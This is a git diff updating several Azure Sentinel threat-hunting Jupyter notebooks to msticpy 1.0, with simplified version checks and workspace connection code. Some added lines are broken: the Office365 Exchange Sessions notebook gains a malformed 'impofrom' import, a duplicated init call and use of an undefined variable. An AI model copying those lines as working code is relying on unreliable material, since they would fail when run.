diff --git a/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb b/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb
index b1df014a..222939a8 100644
--- a/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb
+++ b/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb
@@ -231,29 +231,15 @@
],
"source": [
"from pathlib import Path\n",
- "import os\n",
- "import sys\n",
- "import warnings\n",
- "from IPython.display import display, HTML, Markdown\n",
+ "from IPython.display import display, HTML\n",
"\n",
"REQ_PYTHON_VER=(3, 6)\n",
- "REQ_MSTICPY_VER=(0, 6, 0)\n",
+ "REQ_MSTICPY_VER=(1, 0, 0)\n",
"\n",
"display(HTML(\"
Starting Notebook setup... \"))\n",
- "# If you did not clone the entire Azure-Sentinel-Notebooks repo you may not have this file\n",
"if Path(\"./utils/nb_check.py\").is_file():\n",
- " from utils.nb_check import check_python_ver, check_mp_ver\n",
- "\n",
- " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n",
- " try:\n",
- " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n",
- " except ImportError:\n",
- " !pip install --upgrade msticpy[azsentinel]\n",
- " if \"msticpy\" in sys.modules:\n",
- " importlib.reload(sys.modules[\"msticpy\"])\n",
- " else:\n",
- " import msticpy\n",
- " check_mp_ver(REQ_MSTICPY_VER)\n",
+ " from utils.nb_check import check_versions\n",
+ " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER)\n",
" \n",
"from msticpy.nbtools import nbinit\n",
"nbinit.init_notebook(\n",
@@ -1186,976 +1172,7 @@
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- "layout": "IPY_MODEL_7191d0e083e94e7aa159775267ab38fe",
- "style": "IPY_MODEL_43ae4aa2f52245038a223c77c8c26454"
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- "layout": "IPY_MODEL_fdf2a07f0c444a75a43d23f90e3a1d47",
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- "style": "IPY_MODEL_326b5d41a2db4c79b7f7bf5327642cb6",
- "value": "{{cookiecutter.workspace_id}}"
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- "style": "IPY_MODEL_dc7cb7d16e0b4d7e8bff9344952c97e7",
- "value": "{{cookiecutter.workspace_name}}"
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- "layout": "IPY_MODEL_3d4771b49b1d47d0a523f8df8c1e8d03",
- "placeholder": "Workspace name",
- "style": "IPY_MODEL_1ea437ae5f944c67b20e2b8772fe03b4",
- "value": "{{cookiecutter.workspace_name}}"
- }
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- "model_module": "@jupyter-widgets/controls",
- "model_module_version": "1.5.0",
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- }
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- "model_module_version": "1.5.0",
- "model_name": "DescriptionStyleModel",
- "state": {
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- }
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- "fd64315e93d0478b8e3975bd2dba2d79": {
- "model_module": "@jupyter-widgets/controls",
- "model_module_version": "1.5.0",
- "model_name": "DescriptionStyleModel",
- "state": {
- "description_width": "initial"
- }
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- "fdf2a07f0c444a75a43d23f90e3a1d47": {
- "model_module": "@jupyter-widgets/base",
- "model_module_version": "1.2.0",
- "model_name": "LayoutModel",
- "state": {}
- }
- },
+ "state": {},
"version_major": 2,
"version_minor": 0
}
diff --git a/Entity Explorer - Domain and URL.ipynb b/Entity Explorer - Domain and URL.ipynb
index 246f6b74..7089e7ae 100644
--- a/Entity Explorer - Domain and URL.ipynb
+++ b/Entity Explorer - Domain and URL.ipynb
@@ -88,32 +88,19 @@
"outputs": [],
"source": [
"from pathlib import Path\n",
- "import os\n",
- "import sys\n",
- "import warnings\n",
- "from IPython.display import display, HTML, Markdown, Image\n",
+ "from IPython.display import display, HTML\n",
"\n",
"REQ_PYTHON_VER=(3, 6)\n",
- "REQ_MSTICPY_VER=(0, 6, 0)\n",
+ "REQ_MSTICPY_VER=(1, 0, 0)\n",
"\n",
"display(HTML(\"Starting Notebook setup... \"))\n",
"if Path(\"./utils/nb_check.py\").is_file():\n",
- " from utils.nb_check import check_python_ver, check_mp_ver\n",
- "\n",
- " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n",
- " try:\n",
- " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n",
- " except ImportError:\n",
- " !pip install --upgrade msticpy\n",
- " if \"msticpy\" in sys.modules:\n",
- " importlib.reload(sys.modules[\"msticpy\"])\n",
- " else:\n",
- " import msticpy\n",
- " check_mp_ver(REQ_MSTICPY_VER)\n",
- " \n",
+ " from utils.nb_check import check_versions\n",
+ " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER)\n",
"\n",
"# If not using Azure Notebooks, install msticpy with\n",
"# !pip install msticpy\n",
+ "\n",
"from msticpy.nbtools import nbinit\n",
"extra_imports = [\n",
" \"msticpy.nbtools, observationlist\",\n",
@@ -124,12 +111,7 @@
" namespace=globals(),\n",
" additional_packages=[\"oauthlib\", \"pyvis\", \"python-whois\"],\n",
" extra_imports=extra_imports,\n",
- ");\n",
- "\n",
- "WIDGET_DEFAULTS = {\n",
- " \"layout\": widgets.Layout(width=\"95%\"),\n",
- " \"style\": {\"description_width\": \"initial\"},\n",
- "}"
+ ");"
]
},
{
@@ -176,22 +158,15 @@
},
"outputs": [],
"source": [
- "#See if we have an Azure Sentinel Workspace defined in our config file, if not let the user specify Workspace and Tenant IDs\n",
- "from msticpy.nbtools.wsconfig import WorkspaceConfig\n",
+ "# See if we have an Azure Sentinel Workspace defined in our config file.\n",
+ "# If not, let the user specify Workspace and Tenant IDs\n",
+ "\n",
"ws_config = WorkspaceConfig()\n",
- "try:\n",
- " ws_id = ws_config['workspace_id']\n",
- " ten_id = ws_config['tenant_id']\n",
- " config = True\n",
- " md(\"Workspace details collected from config file\")\n",
- "except KeyError:\n",
- " md(('Please go to your Log Analytics workspace, copy the workspace ID'\n",
- " ' and/or tenant Id and paste here to enable connection to the workspace and querying of it.. '))\n",
- " ws_id_wgt = nbwidgets.GetEnvironmentKey(env_var='WORKSPACE_ID',\n",
- " prompt='Please enter your Log Analytics Workspace Id:', auto_display=True)\n",
- " ten_id_wgt = nbwidgets.GetEnvironmentKey(env_var='TENANT_ID',\n",
- " prompt='Please enter your Log Analytics Tenant Id:', auto_display=True)\n",
- " config = False\n"
+ "if not ws_config.config_loaded:\n",
+ " ws_config.prompt_for_ws()\n",
+ " \n",
+ "qry_prov = QueryProvider(data_environment=\"AzureSentinel\")\n",
+ "print(\"done\")"
]
},
{
@@ -205,13 +180,9 @@
},
"outputs": [],
"source": [
- "if config is False:\n",
- " ws_id = ws_id_wgt.value\n",
- " ten_id = ten_id_wgt.value\n",
- "# Establish a query provider for Azure Sentinel and connect to it\n",
- "qry_prov = QueryProvider('LogAnalytics')\n",
- "la_connection_string = f'loganalytics://code().tenant(\"{ten_id}\").workspace(\"{ws_id}\")'\n",
- "qry_prov.connect(connection_str=f'{la_connection_string}')\n",
+ "# Authenticate to Azure Sentinel workspace\n",
+ "qry_prov.connect(ws_config)\n",
+ "# Load TI Providers\n",
"tilookup = TILookup()\n",
"tilookup.reload_providers()\n",
"tilookup.provider_status"
@@ -1202,8 +1173,6 @@
"outputs": [],
"source": [
"if az_net_comms_df is not None and not az_net_comms_df.empty:\n",
- " cm = sns.light_palette(\"green\", as_cmap=True)\n",
- "\n",
" cols = [\n",
" \"VMName\",\n",
" \"VMIPAddress\",\n",
@@ -1344,9 +1313,9 @@
"celltoolbar": "Tags",
"hide_input": false,
"kernelspec": {
- "display_name": "Python 3.6",
+ "display_name": "Python 3.6.7 64-bit ('condadev': conda)",
"language": "python",
- "name": "python36"
+ "name": "python36764bitcondadevconda6cccf545f08246a1a5c093078bc87e5f"
},
"language_info": {
"codemirror_mode": {
@@ -1358,7 +1327,7 @@
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
- "version": "3.6.7"
+ "version": "3.7.9"
},
"latex_envs": {
"LaTeX_envs_menu_present": true,
@@ -1435,4 +1404,4 @@
},
"nbformat": 4,
"nbformat_minor": 4
-}
+}
\ No newline at end of file
diff --git a/Entity Explorer - Linux Host.ipynb b/Entity Explorer - Linux Host.ipynb
index b448c7a8..ac2a1a30 100644
--- a/Entity Explorer - Linux Host.ipynb
+++ b/Entity Explorer - Linux Host.ipynb
@@ -80,62 +80,23 @@
"outputs": [],
"source": [
"from pathlib import Path\n",
- "import os\n",
- "import sys\n",
- "import warnings\n",
- "from IPython.display import display, HTML, Markdown\n",
+ "from IPython.display import display, HTML\n",
"\n",
"REQ_PYTHON_VER=(3, 6)\n",
- "REQ_MSTICPY_VER=(0, 6, 0)\n",
+ "REQ_MSTICPY_VER=(1, 0, 0)\n",
+ "REQ_MP_EXTRAS = [\"ml\"]\n",
"\n",
"display(HTML(\"Starting Notebook setup... \"))\n",
"if Path(\"./utils/nb_check.py\").is_file():\n",
- " from utils.nb_check import check_python_ver, check_mp_ver\n",
+ " from utils.nb_check import check_versions\n",
+ " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER, REQ_MP_EXTRAS)\n",
"\n",
- " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n",
- " try:\n",
- " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n",
- " except ImportError:\n",
- " !pip install --upgrade msticpy\n",
- " if \"msticpy\" in sys.modules:\n",
- " importlib.reload(sys.modules[\"msticpy\"])\n",
- " else:\n",
- " import msticpy\n",
- " check_mp_ver(REQ_MSTICPY_VER)\n",
- " \n",
+ "# If the installation fails try to manually install using\n",
+ "# !pip install --upgrade msticpy\n",
"\n",
- "# If not using Azure Notebooks, install msticpy with\n",
- "# !pip install msticpy\n",
"from msticpy.nbtools import nbinit\n",
- "extra_imports = [\n",
- " \"msticpy.nbtools, observationlist\",\n",
- " \"msticpy.nbtools.foliummap, get_map_center\",\n",
- " \"msticpy.common.exceptions, MsticpyException\",\n",
- " \"msticpy.sectools.syslog_utils, create_host_record\",\n",
- " \"msticpy.sectools.syslog_utils, cluster_syslog_logons_df\",\n",
- " \"msticpy.sectools.syslog_utils, risky_sudo_sessions\",\n",
- " \"msticpy.sectools.ip_utils, convert_to_ip_entities\",\n",
- " \"msticpy.sectools, auditdextract\",\n",
- " \"msticpy.sectools.cmd_line, risky_cmd_line\",\n",
- " \"pyvis.network, Network\",\n",
- " \"re\",\n",
- " \"math, pi\",\n",
- " \"ipwhois, IPWhois\",\n",
- " \"bokeh.plotting, show\",\n",
- " \"bokeh.plotting, Row\",\n",
- " \"bokeh.models, ColumnDataSource\",\n",
- " \"bokeh.models, FactorRange\",\n",
- " \"bokeh.transform, factor_cmap\",\n",
- " \"bokeh.transform, cumsum\",\n",
- " \"bokeh.palettes, viridis\",\n",
- " \"dns, reversename\",\n",
- " \"dns, resolver\",\n",
- " \"ipaddress, ip_address\",\n",
- " \"functools, lru_cache\",\n",
- " \"datetime,,dt\"\n",
- "]\n",
"additional_packages = [\n",
- " \"oauthlib\", \"pyvis\", \"python-whois\"\n",
+ " \"oauthlib\", \"pyvis\", \"python-whois\", \"seaborn\"\n",
"]\n",
"nbinit.init_notebook(\n",
" namespace=globals(),\n",
@@ -143,11 +104,26 @@
" extra_imports=extra_imports,\n",
");\n",
"\n",
- "WIDGET_DEFAULTS = {\n",
- " \"layout\": widgets.Layout(width=\"95%\"),\n",
- " \"style\": {\"description_width\": \"initial\"},\n",
- "}\n",
- "from bokeh.plotting import figure"
+ "\n",
+ "from bokeh.models import ColumnDataSource, FactorRange\n",
+ "from bokeh.palettes import viridis\n",
+ "from bokeh.plotting import show, Row, figure\n",
+ "from bokeh.transform import factor_cmap, cumsum\n",
+ "from dns import reversename, resolver\n",
+ "from functools import lru_cache\n",
+ "from ipaddress import ip_address\n",
+ "from ipwhois import IPWhois\n",
+ "from math import pi\n",
+ "from msticpy.common.exceptions import MsticpyException\n",
+ "from msticpy.nbtools import observationlist\n",
+ "from msticpy.nbtools.foliummap import get_map_center\n",
+ "from msticpy.sectools import auditdextract\n",
+ "from msticpy.sectools.cmd_line import risky_cmd_line\n",
+ "from msticpy.sectools.ip_utils import convert_to_ip_entities\n",
+ "from msticpy.sectools.syslog_utils import create_host_record, cluster_syslog_logons_df, risky_sudo_sessions\n",
+ "from pyvis.network import Network\n",
+ "import datetime as dt\n",
+ "import re\n"
]
},
{
@@ -193,22 +169,15 @@
},
"outputs": [],
"source": [
- "#See if we have an Azure Sentinel Workspace defined in our config file, if not let the user specify Workspace and Tenant IDs\n",
- "from msticpy.nbtools.wsconfig import WorkspaceConfig\n",
+ "# See if we have an Azure Sentinel Workspace defined in our config file.\n",
+ "# If not, let the user specify Workspace and Tenant IDs\n",
+ "\n",
"ws_config = WorkspaceConfig()\n",
- "try:\n",
- " ws_id = ws_config['workspace_id']\n",
- " ten_id = ws_config['tenant_id']\n",
- " md(\"Workspace details collected from config file\")\n",
- " config = True\n",
- "except:\n",
- " md('Please go to your Log Analytics workspace, copy the workspace ID'\n",
- " ' and/or tenant Id and paste here to enable connection to the workspace and querying of it.. ')\n",
- " ws_id = nbwidgets.GetEnvironmentKey(env_var='WORKSPACE_ID',\n",
- " prompt='Please enter your Log Analytics Workspace Id:', auto_display=True)\n",
- " ten_id = nbwidgets.GetEnvironmentKey(env_var='TENANT_ID',\n",
- " prompt='Please enter your Log Analytics Tenant Id:', auto_display=True)\n",
- " config = False\n"
+ "if not ws_config.config_loaded:\n",
+ " ws_config.prompt_for_ws()\n",
+ " \n",
+ "qry_prov = QueryProvider(data_environment=\"AzureSentinel\")\n",
+ "print(\"done\")"
]
},
{
@@ -222,12 +191,8 @@
},
"outputs": [],
"source": [
- "# Establish a query provider for Azure Sentinel and connect to it\n",
- "if config is False:\n",
- " ws_id = ws_id.value\n",
- " ten_id = ten_id.value\n",
- "qry_prov = QueryProvider('LogAnalytics')\n",
- "qry_prov.connect(connection_str=ws_config.code_connect_str)"
+ "# Authenticate to Azure Sentinel workspace\n",
+ "qry_prov.connect(ws_config)"
]
},
{
diff --git a/Entity Explorer - Windows Host.ipynb b/Entity Explorer - Windows Host.ipynb
index 92a29395..aa0aae4e 100644
--- a/Entity Explorer - Windows Host.ipynb
+++ b/Entity Explorer - Windows Host.ipynb
@@ -67,32 +67,20 @@
"outputs": [],
"source": [
"from pathlib import Path\n",
- "import os\n",
- "import sys\n",
- "import warnings\n",
- "from IPython.display import display, HTML, Markdown\n",
+ "from IPython.display import display, HTML\n",
"\n",
"REQ_PYTHON_VER=(3, 6)\n",
- "REQ_MSTICPY_VER=(0, 6, 0)\n",
+ "REQ_MSTICPY_VER=(1, 0, 0)\n",
+ "REQ_MP_EXTRAS = [\"ml\"]\n",
"\n",
"display(HTML(\"Starting Notebook setup... \"))\n",
"if Path(\"./utils/nb_check.py\").is_file():\n",
- " from utils.nb_check import check_python_ver, check_mp_ver\n",
- "\n",
- " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n",
- " try:\n",
- " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n",
- " except ImportError:\n",
- " !pip install --upgrade msticpy\n",
- " if \"msticpy\" in sys.modules:\n",
- " importlib.reload(sys.modules[\"msticpy\"])\n",
- " else:\n",
- " import msticpy\n",
- " check_mp_ver(REQ_MSTICPY_VER)\n",
- " \n",
+ " from utils.nb_check import check_versions\n",
+ " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER, REQ_MP_EXTRAS)\n",
"\n",
"# If not using Azure Notebooks, install msticpy with\n",
"# !pip install msticpy\n",
+ "\n",
"from msticpy.nbtools import nbinit\n",
"nbinit.init_notebook(\n",
" namespace=globals(),\n",
@@ -135,26 +123,15 @@
"metadata": {},
"outputs": [],
"source": [
- "#See if we have an Azure Sentinel Workspace defined in our config file, if not let the user specify Workspace and Tenant IDs\n",
- "from msticpy.nbtools.wsconfig import WorkspaceConfig\n",
- "# WorkspaceConfig.list_workspaces()\n",
- "# ws_config = WorkspaceConfig(workspace=\"My_Workspace_Name\")\n",
- "# calling WorkspaceConfig with no parameters will load the default workspace from msticpyconfig.yaml\n",
- "# or fall back on a config.json file.\n",
+ "# See if we have an Azure Sentinel Workspace defined in our config file.\n",
+ "# If not, let the user specify Workspace and Tenant IDs\n",
+ "\n",
"ws_config = WorkspaceConfig()\n",
- "try:\n",
- " ws_id = ws_config['workspace_id']\n",
- " ten_id = ws_config['tenant_id']\n",
- " config = True\n",
- " md(\"Workspace details collected from config file\")\n",
- "except KeyError:\n",
- " md(('Please go to your Log Analytics workspace, copy the workspace ID'\n",
- " ' and/or tenant Id and paste here to enable connection to the workspace and querying of it.. '))\n",
- " ws_id_wgt = nbwidgets.GetEnvironmentKey(env_var='WORKSPACE_ID',\n",
- " prompt='Please enter your Log Analytics Workspace Id:', auto_display=True)\n",
- " ten_id_wgt = nbwidgets.GetEnvironmentKey(env_var='TENANT_ID',\n",
- " prompt='Please enter your Log Analytics Tenant Id:', auto_display=True)\n",
- " config = False\n"
+ "if not ws_config.config_loaded:\n",
+ " ws_config.prompt_for_ws()\n",
+ " \n",
+ "qry_prov = QueryProvider(data_environment=\"AzureSentinel\")\n",
+ "print(\"done\")"
]
},
{
@@ -163,12 +140,8 @@
"metadata": {},
"outputs": [],
"source": [
- "if config is False:\n",
- " ws_id = ws_id_wgt.value\n",
- " ten_id = ten_id_wgt.value\n",
- "# Establish a query provider for Azure Sentinel and connect to it\n",
- "qry_prov = QueryProvider('LogAnalytics')\n",
- "qry_prov.connect(connection_str=ws_config.code_connect_str)\n",
+ "# Authenticate to Azure Sentinel workspace\n",
+ "qry_prov.connect(ws_config)\n",
"table_index = qry_prov.schema_tables"
]
},
@@ -1619,8 +1592,6 @@
"outputs": [],
"source": [
"if az_net_comms_df is not None and not az_net_comms_df.empty:\n",
- " cm = sns.light_palette(\"green\", as_cmap=True)\n",
- "\n",
" cols = [\n",
" \"VMName\",\n",
" \"VMIPAddress\",\n",
@@ -2019,4 +1990,4 @@
},
"nbformat": 4,
"nbformat_minor": 4
-}
+}
\ No newline at end of file
diff --git a/Guided Hunting - Anomalous Office365 Exchange Sessions.ipynb b/Guided Hunting - Anomalous Office365 Exchange Sessions.ipynb
index 96c9ad28..de7f85ca 100644
--- a/Guided Hunting - Anomalous Office365 Exchange Sessions.ipynb
+++ b/Guided Hunting - Anomalous Office365 Exchange Sessions.ipynb
@@ -88,26 +88,30 @@
"#imports\n",
"\n",
"from pathlib import Path\n",
- "import sys\n",
- "from IPython.display import display, HTML, Markdown\n",
+ "impofrom pathlib import Path\n",
+ "from IPython.display import display, HTML\n",
"\n",
"REQ_PYTHON_VER=(3, 6)\n",
- "REQ_MSTICPY_VER=(0, 6, 0)\n",
+ "REQ_MSTICPY_VER=(1, 0, 0)\n",
+ "REQ_MP_EXTRAS = [\"ml\"]\n",
"\n",
"display(HTML(\"Starting Notebook setup... \"))\n",
"if Path(\"./utils/nb_check.py\").is_file():\n",
- " from utils.nb_check import check_python_ver, check_mp_ver\n",
- " \n",
- " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n",
- " try:\n",
- " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n",
- " except ImportError:\n",
- " !pip install --upgrade msticpy\n",
- " if \"msticpy\" in sys.modules:\n",
- " importlib.reload(sys.modules[\"msticpy\"])\n",
- " else:\n",
- " import msticpy\n",
- " check_mp_ver(REQ_MSTICPY_VER)\n",
+ " from utils.nb_check import check_versions\n",
+ " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER, REQ_MP_EXTRAS)\n",
+ "\n",
+ "# If the installation fails try to manually install using\n",
+ "# !pip install --upgrade msticpy\n",
+ "\n",
+ "from msticpy.nbtools import nbinit\n",
+ "additional_packages = [\n",
+ " \"oauthlib\", \"pyvis\", \"python-whois\", \"seaborn\"\n",
+ "]\n",
+ "nbinit.init_notebook(\n",
+ " namespace=globals(),\n",
+ " additional_packages=additional_packages,\n",
+ " extra_imports=extra_imports,\n",
+ ");\n",
"\n",
"from msticpy.nbtools import nbinit\n",
"\n",
@@ -115,11 +119,8 @@
" \"msticpy.analysis.anomalous_sequence.utils.data_structures, Cmd\",\n",
" \"msticpy.analysis.anomalous_sequence, anomalous\",\n",
" \"msticpy.analysis.anomalous_sequence.model, Model\",\n",
- " \"msticpy.data, QueryProvider\",\n",
- " \"msticpy.nbtools.wsconfig, WorkspaceConfig\",\n",
" \"typing, List\",\n",
" \"typing, Dict\",\n",
- " \"pandas, , pd\", \n",
"]\n",
"\n",
"nbinit.init_notebook(namespace=globals(), extra_imports=extra_imports)\n"
diff --git a/Guided Hunting - Base64-Encoded Linux Commands.ipynb b/Guided Hunting - Base64-Encoded Linux Commands.ipynb
index 31a37ebe..9d696f52 100644
--- a/Guided Hunting - Base64-Encoded Linux Commands.ipynb
+++ b/Guided Hunting - Base64-Encoded Linux Commands.ipynb
@@ -197,28 +197,17 @@
"outputs": [],
"source": [
"from pathlib import Path\n",
- "import os\n",
- "import sys\n",
- "import warnings\n",
- "from IPython.display import display, HTML, Markdown\n",
+ "from pathlib import Path\n",
+ "from IPython.display import display, HTML\n",
"\n",
"REQ_PYTHON_VER=(3, 6)\n",
- "REQ_MSTICPY_VER=(0, 5, 0)\n",
+ "REQ_MSTICPY_VER=(1, 0, 0)\n",
+ "REQ_MP_EXTRAS = [\"ml\"]\n",
"\n",
"display(HTML(\"Starting Notebook setup... \"))\n",
"if Path(\"./utils/nb_check.py\").is_file():\n",
- " from utils.nb_check import check_python_ver, check_mp_ver\n",
- "\n",
- " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n",
- " try:\n",
- " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n",
- " except ImportError:\n",
- " !pip install --user --upgrade msticpy\n",
- " if \"msticpy\" in sys.modules:\n",
- " importlib.reload(msticpy)\n",
- " else:\n",
- " import msticpy\n",
- " check_mp_ver(REQ_PYTHON_VER)\n",
+ " from utils.nb_check import check_versions\n",
+ " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER, REQ_MP_EXTRAS)\n",
" \n",
"from msticpy.nbtools import nbinit\n",
"extra_imports = [\n",
@@ -241,11 +230,6 @@
" extra_imports=extra_imports,\n",
");\n",
"\n",
- "WIDGET_DEFAULTS = {\n",
- " \"layout\": widgets.Layout(width=\"95%\"),\n",
- " \"style\": {\"description_width\": \"initial\"},\n",
- "}\n",
- "\n",
"from msticpy.sectools import auditdextract\n",
"from msticpy.sectools.cmd_line import *\n",
"from msticpy.sectools.ip_utils import convert_to_ip_entities\n",
@@ -277,23 +261,15 @@
},
"outputs": [],
"source": [
- "#See if we have an Azure Sentinel Workspace defined in our config file, if not let the user specify Workspace and Tenant IDs\n",
- "from msticpy.nbtools.wsconfig import WorkspaceConfig\n",
+ "# See if we have an Azure Sentinel Workspace defined in our config file.\n",
+ "# If not, let the user specify Workspace and Tenant IDs\n",
+ "\n",
"ws_config = WorkspaceConfig()\n",
- "print(ws_config)\n",
- "try:\n",
- " ws_id = ws_config['workspace_id']\n",
- " ten_id = ws_config['tenant_id']\n",
- " display(HTML(\"Workspace details collected from config file\"))\n",
- " config = True\n",
- "except:\n",
- " display(HTML('Please go to your Log Analytics workspace, copy the workspace ID'\n",
- " ' and/or tenant Id and paste here to enable connection to the workspace and querying of it.. '))\n",
- " ws_id = nbwidgets.GetEnvironmentKey(env_var='WORKSPACE_ID',\n",
- " prompt='Please enter your Log Analytics Workspace Id:', auto_display=True)\n",
- " ten_id = nbwidgets.GetEnvironmentKey(env_var='TENANT_ID',\n",
- " prompt='Please enter your Log Analytics Tenant Id:', auto_display=True)\n",
- " config = False\n"
+ "if not ws_config.config_loaded:\n",
+ " ws_config.prompt_for_ws()\n",
+ " \n",
+ "qry_prov = QueryProvider(data_environment=\"AzureSentinel\")\n",
+ "print(\"done\")\n"
]
},
{
@@ -304,12 +280,8 @@
},
"outputs": [],
"source": [
- "# Establish a query provider for Azure Sentinel and connect to it\n",
- "if config is False:\n",
- " ws_id = ws_id.value\n",
- " ten_id = ten_id.value\n",
- "qry_prov = QueryProvider('LogAnalytics')\n",
- "qry_prov.connect(connection_str=ws_config.code_connect_str)\n"
+ "# Authenticate to Azure Sentinel workspace\n",
+ "qry_prov.connect(ws_config)"
]
},
{
@@ -1151,4 +1123,4 @@
},
"nbformat": 4,
"nbformat_minor": 4
-}
+}
\ No newline at end of file
diff --git a/Guided Hunting - Covid-19 Themed Threats.ipynb b/Guided Hunting - Covid-19 Themed Threats.ipynb
index cd9c3210..b40ea793 100644
--- a/Guided Hunting - Covid-19 Themed Threats.ipynb
+++ b/Guided Hunting - Covid-19 Themed Threats.ipynb
@@ -40,29 +40,17 @@
"outputs": [],
"source": [
"from pathlib import Path\n",
- "import os\n",
- "import sys\n",
- "import warnings\n",
- "from IPython.display import display, HTML, Markdown\n",
+ "from IPython.display import display, HTML\n",
"\n",
"REQ_PYTHON_VER=(3, 6)\n",
- "REQ_MSTICPY_VER=(0, 6, 0)\n",
+ "REQ_MSTICPY_VER=(1, 0, 0)\n",
+ "REQ_MP_EXTRAS = [\"ml\"]\n",
"\n",
"display(HTML(\"Starting Notebook setup... \"))\n",
"if Path(\"./utils/nb_check.py\").is_file():\n",
- " from utils.nb_check import check_python_ver, check_mp_ver\n",
+ " from utils.nb_check import check_versions\n",
+ " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER, REQ_MP_EXTRAS)\n",
"\n",
- " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n",
- " try:\n",
- " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n",
- " except ImportError:\n",
- " !pip install --upgrade msticpy\n",
- " if \"msticpy\" in sys.modules:\n",
- " importlib.reload(sys.modules[\"msticpy\"])\n",
- " else:\n",
- " import msticpy\n",
- " check_mp_ver(REQ_MSTICPY_VER)\n",
- " \n",
"\n",
"# If not using Azure Notebooks, install msticpy with\n",
"# !pip install msticpy\n",
@@ -73,7 +61,6 @@
" \"dns\",\n",
" \"tldextract\",\n",
" \"datetime\",\n",
- " \"ipywidgets,,widgets\",\n",
" \"msticpy.nbtools.foliummap, get_map_center\",\n",
" \"msticpy.nbtools.foliummap, get_center_ip_entities\",\n",
" \"functools, lru_cache\",\n",
@@ -88,10 +75,6 @@
" extra_imports=extra_imports,\n",
");\n",
"\n",
- "WIDGET_DEFAULTS = {\n",
- " \"layout\": widgets.Layout(width=\"95%\"),\n",
- " \"style\": {\"description_width\": \"initial\"},\n",
- "}\n",
"from bokeh.plotting import figure"
]
},
@@ -101,23 +84,30 @@
"metadata": {},
"outputs": [],
"source": [
- "#Collect Azure Sentinel Workspace Details from our config file and use them to connect\n",
- "try:\n",
- " #Update to WorkspaceConfig(workspace=\"WORKSPACE_NAME\") to get alerts from a Workspace other than your default one.\n",
- " ws_config = WorkspaceConfig()\n",
- " ws_id = ws_config['workspace_id']\n",
- " ten_id = ws_config['tenant_id']\n",
- " md(\"Workspace details collected from config file\")\n",
- " qry_prov = QueryProvider('LogAnalytics')\n",
- " qry_prov.connect(connection_str=ws_config.code_connect_str)\n",
- "except RuntimeError:\n",
- " md(\"\"\"You do not have any Workspaces configured in your config files.\n",
- " Please run the https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb\n",
- " to setup these files before proceeding\"\"\" ,'bold')\n",
+ "# See if we have an Azure Sentinel Workspace defined in our config file.\n",
+ "# If not, let the user specify Workspace and Tenant IDs\n",
+ "\n",
+ "ws_config = WorkspaceConfig()\n",
+ "if not ws_config.config_loaded:\n",
+ " ws_config.prompt_for_ws()\n",
+ " \n",
+ "qry_prov = QueryProvider(data_environment=\"AzureSentinel\")\n",
+ "print(\"done\")\n",
" \n",
"ti = TILookup()"
]
},
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# Authenticate to Azure Sentinel workspace\n",
+ "qry_prov.connect(ws_config)\n",
+ "table_index = qry_prov.schema_tables"
+ ]
+ },
{
"cell_type": "markdown",
"metadata": {},
diff --git a/Guided Hunting - Office365-Exploring.ipynb b/Guided Hunting - Office365-Exploring.ipynb
index 018ee7b9..3e1fb018 100644
--- a/Guided Hunting - Office365-Exploring.ipynb
+++ b/Guided Hunting - Office365-Exploring.ipynb
@@ -76,29 +76,17 @@
"outputs": [],
"source": [
"from pathlib import Path\n",
- "import os\n",
- "import sys\n",
- "import warnings\n",
- "from IPython.display import display, HTML, Markdown\n",
+ "from pathlib import Path\n",
+ "from IPython.display import display, HTML\n",
"\n",
"REQ_PYTHON_VER=(3, 6)\n",
- "REQ_MSTICPY_VER=(0, 6, 0)\n",
+ "REQ_MSTICPY_VER=(1, 0, 0)\n",
+ "REQ_MP_EXTRAS = [\"ml\"]\n",
"\n",
"display(HTML(\"Starting Notebook setup... \"))\n",
"if Path(\"./utils/nb_check.py\").is_file():\n",
- " from utils.nb_check import check_python_ver, check_mp_ver\n",
- "\n",
- " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n",
- " try:\n",
- " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n",
- " except ImportError:\n",
- " !pip install --upgrade msticpy\n",
- " if \"msticpy\" in sys.modules:\n",
- " importlib.reload(sys.modules[\"msticpy\"])\n",
- " else:\n",
- " import msticpy\n",
- " check_mp_ver(REQ_MSTICPY_VER)\n",
- " \n",
+ " from utils.nb_check import check_versions\n",
+ " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER, REQ_MP_EXTRAS)\n",
"\n",
"# If not using Azure Notebooks, install msticpy with\n",
"# !pip install msticpy\n",
@@ -110,14 +98,12 @@
" \"msticpy.sectools.ip_utils, get_ip_type\",\n",
" \"msticpy.sectools.ip_utils, get_whois_info\",\n",
"]\n",
+ "additional_packages = [\"seaborn\"]\n",
"nbinit.init_notebook(\n",
" namespace=globals(),\n",
+ " additional_packages=additional_packages,\n",
" extra_imports=extra_imports,\n",
- ");\n",
- "WIDGET_DEFAULTS = {\n",
- " \"layout\": widgets.Layout(width=\"95%\"),\n",
